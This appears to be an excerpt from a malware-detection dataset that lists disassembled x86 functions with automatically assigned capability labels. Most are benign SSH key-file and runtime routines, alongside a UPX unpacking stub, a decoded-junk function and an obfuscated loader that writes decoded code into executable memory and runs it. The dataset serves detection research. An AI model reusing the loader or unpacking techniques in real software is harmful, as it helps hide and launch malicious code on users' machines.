joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dfe0
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0x68]
push edi
push esi
push ebx
sub esp, 0x6c
mov edi, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.msys_1.0.dll_fstat
test eax, eax
js 0x40e158
mov ebx, dword [ebp - 0x54]
cmp ebx, 0x100000
jg 0x40e109
lea esi, [ebp - 0x28]
mov dword [esp], esi
call fcn.0040cfb0
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.0040d0a0
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp], sub.msys_1.0.dll_read
call fcn.00413330
cmp eax, ebx
jne 0x40e121
xor ebx, ebx
cmp eax, 0x20
ja 0x40e05b
jmp 0x40e14c
inc ebx
cmp ebx, 0x20
ja 0x40e093
mov dword [esp], esi
call fcn.0040c3d0
movsx edi, byte [ebx + str.SSH_PRIVATE_KEY_FILE_FORMAT_1.1_n]
cmp eax, edi
je 0x40e055
mov ecx, dword [ebp + 0xc]
mov dword [esp + 4], ecx
mov dword [esp], str.Not_a_RSA1_key_file__.200s.
call fcn.0040a790
mov dword [esp], esi
call fcn.0040cff0
add esp, 0x6c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], esi
call fcn.0040c3d0
mov dword [esp], esi
call fcn.0040bf00
mov dword [esp], esi
call fcn.0040bf00
mov dword [esp], 0
call fcn.00406580
mov ebx, eax
mov eax, dword [eax + 8]
mov edi, dword [eax + 0x10]
mov dword [esp], esi
mov dword [esp + 4], edi
call fcn.004130c0
mov ecx, dword [ebx + 8]
mov edx, dword [ecx + 0x14]
mov dword [esp], esi
mov dword [esp + 4], edx
call fcn.004130c0
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40e0f7
mov dword [esp], esi
xor ecx, ecx
mov dword [esp + 4], ecx
call fcn.0040c160
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov dword [esp], esi
call fcn.0040cff0
add esp, 0x6c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov ebx, dword [ebp + 0xc]
mov dword [esp], str.key_file__.200s_too_large
mov dword [esp + 4], ebx
call fcn.0040a680
jmp 0x40e089
call sub.msys_1.0.dll___errno
mov eax, dword [eax]
mov dword [esp], eax
call sub.msys_1.0.dll_strerror
mov dword [esp + 8], eax
mov edi, dword [ebp + 0xc]
mov dword [esp], str.Read_from_key_file__.200s_failed:__.100s
mov dword [esp + 4], edi
call fcn.0040a730
jmp 0x40e081
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
jmp 0x40e075
call sub.msys_1.0.dll___errno
mov ecx, dword [eax]
mov dword [esp], ecx
call sub.msys_1.0.dll_strerror
mov dword [esp + 8], eax
mov edx, dword [ebp + 0xc]
mov dword [esp], str.fstat_for_key_file__.200s_failed:__.100s
mov dword [esp + 4], edx
call fcn.0040a680
jmp 0x40e089
Function at 0x40e800
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
lea edx, [ebp - 0x48]
push ebx
sub esp, 0x54
mov eax, dword [ebp + 8]
mov dword [esp + 4], edx
mov ebx, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msys_1.0.dll_fstat
xor edx, edx
test eax, eax
js 0x40e833
mov dword [esp], ebx
call fcn.00415ab0
test eax, eax
jne 0x40e840
mov edx, 1
add esp, 0x54
mov eax, edx
pop ebx
pop ebp
ret
call sub.msys_1.0.dll_getuid
cmp word [ebp - 0x3a], ax
jne 0x40e82e
test byte [ebp - 0x40], 0x3f
je 0x40e82e
mov dword [esp], str.___________________________________________________________
call fcn.0040a680
mov dword [esp], str.__________WARNING:_UNPROTECTED_PRIVATE_KEY_FILE____________
call fcn.0040a680
mov dword [esp], str.___________________________________________________________
call fcn.0040a680
mov dword [esp + 8], ebx
mov ecx, dword [ebp - 0x40]
mov dword [esp], str.Permissions_0_3.3o_for__s_are_too_open.
and ecx, 0x1ff
mov dword [esp + 4], ecx
call fcn.0040a680
mov dword [esp], str.It_is_recommended_that_your_private_key_files_are_NOT_accessible_by_others.
call fcn.0040a680
mov dword [esp], str.This_private_key_will_be_ignored.
call fcn.0040a680
xor edx, edx
jmp 0x40e833

Function at 0x4115a0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00417c90

Function at 0x411660
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
cmp esi, 0x10000
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], edx
ja 0x411724
lea ebx, [esi + esi]
mov dword [esp], ebx
call fcn.0040cd90
mov dword [esp + 8], eax
mov edi, eax
mov dword [esp + 0xc], ebx
xor ebx, ebx
mov dword [esp + 4], esi
mov ecx, dword [ebp - 0x14]
mov dword [esp], ecx
call fcn.00417c90
mov esi, eax
cmp ebx, esi
jge 0x4116e6
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
movsx ecx, byte [edi + ebx]
mov dword [esp], ecx
call sub.msys_1.0.dll_fputc
mov eax, 0xea0ea0eb
imul ebx
mov eax, ebx
lea ecx, [ebx + edx]
sar ecx, 6
cdq
sub ecx, edx
imul eax, ecx, 0x46
mov edx, ebx
sub edx, eax
cmp edx, 0x45
je 0x411751
inc ebx
cmp ebx, esi
jl 0x4116b0
mov eax, 0xea0ea0eb
imul ebx
mov eax, ebx
lea ecx, [ebx + edx]
sar ecx, 6
cdq
sub ecx, edx
imul esi, ecx, 0x46
sub ebx, esi
cmp ebx, 0x45
je 0x411715
mov ebx, dword [ebp - 0x10]
mov dword [esp], 0xa
mov dword [esp + 4], ebx
call sub.msys_1.0.dll_fputc
mov dword [ebp + 8], edi
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.0040ced0
mov ecx, dword [ebp - 0x10]
mov esi, 0x19
mov edi, 1
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp + 0xc], ecx
mov dword [esp], str.dump_base64:_len___65536_n
call sub.msys_1.0.dll_fwrite
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x10]
inc ebx
mov dword [esp], 0xa
mov dword [esp + 4], eax
call sub.msys_1.0.dll_fputc
jmp 0x4116e2
Function at 0x411b20
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp], 1
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
call fcn.0040a8e0
mov dword [esp], 0xff
call fcn.00413e90
nop
nop
nop
nop
Function at 0x411e00
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov esi, ebx
xor edi, edi
and esi, 1
test bl, 8
jne 0x411e50
test bl, 2
je 0x411f00
mov dword [esp], 0
call sub.msys_1.0.dll_isatty
test eax, eax
jne 0x411e55
mov dword [esp], str.read_passphrase:_stdin_is_not_a_tty
call fcn.0040a730
lea esi, [esi]
lea edi, [edi]
mov edi, 1
test bl, 8
jne 0x411f30
test edi, edi
jne 0x411eb0
mov dword [esp + 0xc], esi
mov esi, 0x400
mov dword [esp + 8], esi
lea esi, [ebp - 0x418]
mov dword [esp + 4], esi
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004180c0
test eax, eax
jne 0x411f50
test bl, 4
jne 0x411e9d
mov dword [esp], 0x420130
call fcn.0040cf00
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov dword [esp], str.DISPLAY
call sub.msys_1.0.dll_getenv
test eax, eax
je 0x411e62
mov dword [esp], str.SSH_ASKPASS
call sub.msys_1.0.dll_getenv
test eax, eax
mov edx, str._usr_sbin_ssh_askpass
jne 0x411fb0
mov ecx, dword [ebp + 8]
mov dword [esp], edx
mov dword [esp + 4], ecx
call fcn.00411b50
test eax, eax
je 0x411e8c
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov dword [esp], 0x42015b
mov eax, 2
or esi, 2
mov dword [esp + 4], eax
call fcn.00415a10
test eax, eax
js 0x411f83
mov dword [esp], eax
call sub.msys_1.0.dll_close
test bl, 8
je 0x411e5e
lea esi, [esi]
mov dword [esp], str.DISPLAY
call sub.msys_1.0.dll_getenv
test eax, eax
je 0x411e8c
jmp 0x411e5e
mov dword [esp], esi
mov edi, 0x78
call fcn.0040cf00
mov dword [esp + 4], edi
mov edx, 0x400
mov ebx, eax
mov dword [esp], esi
mov dword [esp + 8], edx
call sub.msys_1.0.dll_memset
mov eax, ebx
mov esi, dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
call sub.msys_1.0.dll___errno
mov edx, dword [eax]
mov edi, 0x42015b
mov dword [esp], edx
call sub.msys_1.0.dll_strerror
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], str.read_passphrase:_cant_open__s:__s
call fcn.0040a730
jmp 0x411e50
mov dword [esp], str.SSH_ASKPASS
call sub.msys_1.0.dll_getenv
mov edx, eax
jmp 0x411ed9

Function at 0x415390
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [ebx + 0x16], edx
xor edx, edx
movzx eax, byte [ecx + 4]
mov dword [ebx + 0x28], 1
mov byte [ebx + 0x1a], al
nop
movzx eax, byte [edx + ebx + 0x16]
xor al, byte [edx + ebx + 0x11]
movzx ecx, al
movzx eax, byte [ecx + 0x41b680]
mov byte [ebx + edx + 0xc], al
inc edx
cmp edx, 4
jle 0x4153b0
movzx eax, byte [ebx + 0xc]
movzx edx, byte [ebx + 0xd]
movzx ecx, byte [ebx + 0xf]
mov dword [ebx + 8], 0
shl eax, 9
or edx, eax
or edx, 0x100
shl ecx, 8
mov dword [ebx], edx
movzx edx, byte [ebx + 0x10]
or edx, ecx
movzx ecx, byte [ebx + 0xe]
mov eax, ecx
and eax, 0x1f
shl eax, 0x10
and ecx, 0xe0
or edx, eax
shl ecx, 0x11
or edx, ecx
or edx, 0x200000
mov dword [ebx + 4], edx
pop ebx
pop ebp
ret
Function at 0x419c20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
lea edi, [ebp - 0x1a8]
push esi
push ebx
sub esp, 0x2dc
mov dword [esp], 0xfffffff4
call sub.KERNEL32.dll_GetStdHandle
sub esp, 4
mov esi, eax
mov eax, 0x104
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
cmp esi, 0xffffffff
mov ebx, eax
je 0x419e51
test ebx, ebx
jle 0x419c90
mov dword [esp], edi
lea ebx, [ebp - 0x2b8]
mov dword [esp + 4], ebx
call sub.msys_1.0.dll_cygwin_conv_to_posix_path
test eax, eax
je 0x419d84
nop
lea esi, [esi]
mov eax, dword [ebp + 8]
mov edi, pe_nt_image_headers32
lea ecx, [ebp + 0xc]
mov dword [esp + 4], edi
lea edi, [ebp - 0x98]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov dword [esp], edi
call sub.msys_1.0.dll_vsnprintf
cmp byte [ebp - 0x2b8], 0
mov dword [ebp - 0x2c0], eax
mov byte [ebp - 0x19], 0
je 0x419d90
mov dword [esp], esi
xor ecx, ecx
lea eax, [ebp - 0x2bc]
mov dword [esp + 0x10], ecx
mov ebx, 0x18
mov edx, str.Cygwin_runtime_failure:
mov dword [esp + 8], ebx
lea ebx, [ebp - 0x2b8]
mov dword [esp + 0xc], eax
mov dword [esp + 4], edx
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov ecx, ebx
jmp 0x419d10
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x419d10
and edx, 0x8080
jne 0x419d36
shr eax, 0x10
add ecx, 2
mov dword [esp + 4], ebx
add al, al
lea eax, [ebp - 0x2bc]
sbb ecx, 3
sub ecx, ebx
xor edx, edx
mov dword [esp + 0x10], edx
xor ebx, ebx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp], esi
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov ecx, 2
mov edx, 0x421884
mov dword [esp + 0x10], ebx
lea ebx, [ebp - 0x2bc]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
jmp 0x419dd9
mov byte [ebp - 0x2b8], 0
jmp 0x419c90
mov dword [esp], esi
xor ebx, ebx
mov ecx, str.Cygwin_runtime_failure:
mov dword [esp + 0x10], ebx
mov eax, 0x18
lea ebx, [ebp - 0x2bc]
mov dword [esp + 4], ecx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
xor edx, edx
mov eax, 0x12
mov dword [esp + 0x10], edx
mov ecx, str._unknown_module_:
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], esi
call sub.KERNEL32.dll_WriteFile
mov edx, dword [ebp - 0x2c0]
sub esp, 0x14
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 4], edi
mov edi, 1
mov dword [esp + 8], edx
mov dword [esp], esi
mov dword [esp + 0xc], ebx
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov ecx, 1
mov edx, 0x421887
mov dword [esp + 8], ecx
xor eax, eax
mov dword [esp + 4], edx
mov dword [esp], esi
mov esi, 0xe0000269
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ebx
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], 0xe
call sub.msys_1.0.dll_cygwin_internal
call sub.msys_1.0.dll_abort
mov dword [esp], 0xe
mov edx, 1
mov ecx, 0xe0000269
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
call sub.msys_1.0.dll_cygwin_internal
jmp 0x419c6a
Function at 0x472dd1
Capabilities:
Encode data using xor

Disassembly:
fmul st(5)
ja 0x472e30
jmp 0x472e01
shr byte [edi + 0xfd7aa85], cl
or dword [eax], esi
scasd eax, dword es:[edi]
fadd qword [ebp - 0x50cf9351]
daa
and al, 0x6f
mov byte [ecx + ebx*2 - 0x4c3d77c0], dl
jb 0x472e75
and ebx, edx
and eax, 0x4e500d78
mul dword [eax + 0x4a]
mov al, byte [0xda336442]
imul eax, dword [eax + ecx + 0xd], 0x4ae99e56
ret 0x7c4a
push esi
sahf
jmp 0x7c91f081
lodsb al, byte [esi]
dec esi
sar byte [ecx + 0x1f], 1
in al, 7
and dword [ebx], 0xffffffbb
mov cl, 0x5c
call [edi - 0x166be8d]
or eax, 0x98f13b1c
mov eax, 0x7b48da83
lodsb al, byte [esi]
pop edi
lds edi, [edx]
das
shl dword [edx + 0x3299d928], 1
dec esp
out 0xcf, eax
sbb byte [ebp - 0x3c], al
pop ebp
mov bl, 0x9c
wait
mov ecx, 0x95e2ac1e
pop eax
rol ch, cl
push ss
inc ecx
invalid

Function at 0x4ba7a1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c3390
cmp edx, dword [eax]
je 0x4ba7c3
add eax, 8
inc ecx
cmp eax, 0x4c3420
jl 0x4ba7b4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c3390]
jne 0x4ba8f1
mov eax, dword [0x4c7d2c]
cmp eax, 1
je 0x4ba8cb
test eax, eax
jne 0x4ba7f4
cmp dword [0x4c32b8], 1
je 0x4ba8cb
cmp edx, 0xfc
je 0x4ba8f1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4ba82b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bb180
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bb610
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4ba86e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bb610
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4bfb04
push edi
call fcn.004bd4e0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bb180
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bb190
lea eax, [ebp - 0xa0]
push 0x4bfae4
push eax
call fcn.004bb190
push dword [esi + 0x4c3394]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bb190
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bd454
add esp, 0x2c
pop edi
jmp 0x4ba8f1
lea eax, [ebp + 8]
lea esi, [esi + 0x4c3394]
push 0
push eax
push dword [esi]
call fcn.004bb610
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x6fc130
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1f8000]
lea eax, [edi + 0x2e524c]
push dword [eax]
mov dword [eax], 0x53852d93
push eax
push edi
jmp 0x6fc15a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6fc161
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6fc150
mov eax, 1
add ebx, ebx
jne 0x6fc173
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6fc184
jne 0x6fc1a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6fc1a3
dec eax
add ebx, ebx
jne 0x6fc190
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6fc168
add ebx, ebx
jne 0x6fc19f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6fc1f5
xor ecx, ecx
sub eax, 3
jb 0x6fc1bb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6fc22a
sar eax, 1
mov ebp, eax
jmp 0x6fc1c6
add ebx, ebx
jne 0x6fc1c6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6fc194
inc ecx
add ebx, ebx
jne 0x6fc1d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6fc194
add ebx, ebx
jne 0x6fc1e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6fc1d6
jne 0x6fc1f2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6fc1d6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6fc214
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6fc206
jmp 0x6fc156
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6fc214
add edi, ecx
jmp 0x6fc156
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0xc103
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6fc236
cmp byte [edi], 0x63
jne 0x6fc236
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6fc23b
lea edi, [esi + 0x2f8000]
mov eax, dword [edi]
or eax, eax
je 0x6fc2b3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2ff158]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2ff344]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6fc268
mov ecx, edi
jns 0x6fc297
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2ff34c]
or eax, eax
je 0x6fc2ad
mov dword [ebx], eax
add ebx, 4
jmp 0x6fc285
call dword [esi + 0x2ff348]
mov ebp, dword [esi + 0x2ff350]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x2af]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6fc2e7
sub esp, 0xffffff80
jmp 0x56ad6f
Function at 0x1000cd31
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1002cd97
call fcn.10017073
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1000cdae
push 2
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x1000cdae
call fcn.10005a99
mov esi, eax
jmp 0x1000ce85
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x1000cdd1
call fcn.10005a99
jmp 0x1000ce78
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x1000cdc7
push ebx
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x1000ce01
mov esi, 0x8007000e
jmp 0x1000ce7a
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.100115c6
jmp 0x1000ce27
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x1000cdfa
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x1000cdc7
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.100115c6
mov esi, eax
test edi, edi
je 0x1000ce85
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1000ce9e
lea ecx, [ebp - 0x418]
call fcn.1000c4af
mov eax, esi
call fcn.10016fc0
ret 0x10
Function at 0x100115c6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x100115d5
pop dword [ebp - 0xc]
mov eax, 0x100115d5
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x440aa
push 0
mov eax, 0xe45565d6
sub eax, 0xd452747a
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x6026300a
sub ecx, 0x6025d94c
mov ebx, eax
mov esi, 0x61fa8a87
add esi, 0xae0a2179
add esi, dword [ebp - 0xc]
mov edx, 0xfb425328
sub edx, 0x5873a0a4
sub dword [ebp - 4], 0x580a42f4
mov edi, dword [esi]
xor dword [ebp - 8], 0x96d1e044
sub edi, edx
mov dword [ebp - 4], 0x15de0a21
mov dword [ebx], edi
sub dword [ebp - 4], 0xa7c72f43
add ebx, 0x239cc71e
add ebx, 0xdc6338e6
add esi, 0xf14c7334
add esi, 0xeb38cd0
loop 0x1001162f
add eax, 0xe5f87904
sub eax, 0xe5f72b39
mov ebx, eax
add eax, 0x48d25cfc
sub eax, 0x48d25cf7
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x100123e7
Capabilities:
Delete file

Disassembly:
push 0x14
mov eax, 0x1002d2cf
call fcn.10016fd1
mov ebx, ecx
mov eax, dword [ebx]
xor edi, edi
mov esi, dword [eax + 0x18]
mov ecx, esi
call dword [0x1002f4d0]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x10]
call fcn.100115c6
and dword [ebp - 4], edi
lea esi, [ebx + 0x44]
cmp dword [esi], edi
je 0x10012492
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.100115c6
mov ecx, dword [esi]
test al, al
je 0x10012474
push 0xb
pop eax
mov word [ebp - 0x20], ax
xor eax, eax
mov word [ebp - 0x18], ax
sub esp, 0x10
mov byte [ebp - 4], 1
mov edi, esp
lea esi, [ebp - 0x20]
push 1
movsd dword es:[edi], dword [esi]
push str.Close
push ecx
push eax
movsd dword es:[edi], dword [esi]
push 1
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.100115c6
add esp, 0x28
mov byte [ebp - 4], 0
mov edi, eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.oleaut32.dll_VariantCopy]
lea esi, [ebx + 0x44]
jmp 0x1001248b
push 0
push str.Close
push ecx
push 0
push 1
push ebx
call fcn.100115c6
add esp, 0x18
mov edi, eax
mov ecx, esi
call fcn.10009bb3
cmp dword [ebx + 0x24], 0
je 0x100124b2
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.100115c6
test al, al
je 0x100124b2
push dword [ebx + 0x24]
call dword [sym.imp.kernel32.dll_DeleteFileW]
push dword [ebp - 0x10]
call dword [sym.imp.oleaut32.dll_SysStringLen]
mov eax, edi
call fcn.10016f9a
ret
Function at 0x100133d0
Capabilities:
Copy file
Set file attributes

Disassembly:
push 0x214
mov eax, 0x1002d3b0
call fcn.10017005
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x21c], eax
cmp dword [ebx + 8], 0
je 0x100133fb
mov eax, reloc.oleaut32.dll_VariantCopyInd
jmp 0x10013586
mov eax, dword [ebx - 0xc]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x1002f4d0]
lea ecx, [ebx - 0xc]
call esi
mov ecx, dword [ebx + 0x14]
test ecx, ecx
jne 0x1001341f
mov eax, 0x80004005
jmp 0x10013586
mov edx, dword [ebp + 0x10]
mov esi, reloc.oleaut32.dll_SysReAllocString
mov eax, edx
and eax, esi
cmp eax, esi
push dword [ebp - 0x21c]
sete al
mov byte [ecx + 0x31], al
lea ecx, [esi + 2]
mov eax, edx
and eax, ecx
cmp eax, ecx
mov eax, dword [ebx + 0x14]
sete cl
mov byte [eax + 0x32], cl
lea eax, [esi + 6]
and edx, eax
cmp edx, eax
mov eax, dword [ebx + 0x14]
sete cl
mov byte [eax + 0x33], cl
mov ecx, dword [ebx + 0x14]
add ecx, 0x28
call fcn.100115c6
mov edi, dword [ebx + 0x14]
mov eax, dword [edi]
mov esi, dword [eax + 0x18]
mov ecx, esi
call dword [0x1002f4d0]
mov ecx, edi
call esi
push eax
lea ecx, [ebp - 0x220]
call fcn.100115c6
xor esi, esi
lea ecx, [ebp - 0x220]
push str.Excel.Application
mov dword [ebp - 4], esi
call fcn.100115c6
test al, al
je 0x1001355e
push 0x208
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.100194b0
mov edi, dword [ebp - 0x21c]
push 0x5c
push edi
call fcn.100115c6
add esp, 0x14
test eax, eax
jne 0x100134d8
push 0x2f
push edi
call fcn.100115c6
pop ecx
pop ecx
test eax, eax
je 0x100134f8
add eax, 2
push 0x2e
push eax
call fcn.100115c6
push eax
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.100115c6
add esp, 0x14
cmp word [ebp - 0x218], si
je 0x10013557
push esi
lea eax, [ebp - 0x218]
push eax
push edi
call dword [sym.imp.kernel32.dll_CopyFileW]
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.100115c6
pop ecx
pop ecx
mov ecx, dword [ebx + 0x14]
add ecx, 0x24
test eax, eax
jne 0x10013549
lea eax, [ebp - 0x218]
push eax
call fcn.100115c6
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
jmp 0x1001354f
push edi
call fcn.100115c6
mov eax, dword [ebx + 0x14]
add eax, 0x24
jmp 0x1001356f
